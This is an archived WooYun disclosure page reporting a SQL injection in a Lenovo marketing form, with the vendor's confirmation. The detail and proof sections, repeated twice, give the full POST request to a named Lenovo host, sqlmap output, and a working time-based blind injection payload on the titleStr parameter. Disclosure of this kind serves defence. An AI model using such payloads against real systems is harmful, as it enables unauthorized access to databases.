当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119810

漏洞标题:联想某站存在SQL注入

相关厂商:联想

漏洞作者: missy

提交时间:2015-06-11 17:57

修复时间:2015-07-27 10:18

公开时间:2015-07-27 10:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-11: 细节已通知厂商并且等待厂商处理中
2015-06-12: 厂商已经确认,细节仅向厂商公开
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

伐木累

详细说明:

http://rel.lenovo.com.cn/zhaoyang/gmyx.html


POST注入:

POST /zhaoyang/edm/add.php HTTP/1.1
Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192
titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111


参数:titleStr


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: titleStr (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=111111111@qq.com&buyNum=1&nameStr=111111
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24
back-end DBMS: MySQL 5.0.12
current database: 'survey'

漏洞证明:

http://rel.lenovo.com.cn/zhaoyang/gmyx.html


POST注入:

POST /zhaoyang/edm/add.php HTTP/1.1
Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192
titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111


参数:titleStr


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: titleStr (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=111111111@qq.com&buyNum=1&nameStr=111111
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24
back-end DBMS: MySQL 5.0.12
current database: 'survey'

修复方案:

过滤

版权声明:转载请注明来源 missy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-12 10:16

厂商回复:

感谢您对联想信息安全工作的关注与支持!
联想于2015年4月启用安全应急响应中心(LSRC),欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞,以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http://lsrc点lenovo点com )

最新状态:

暂无


漏洞评价:

评论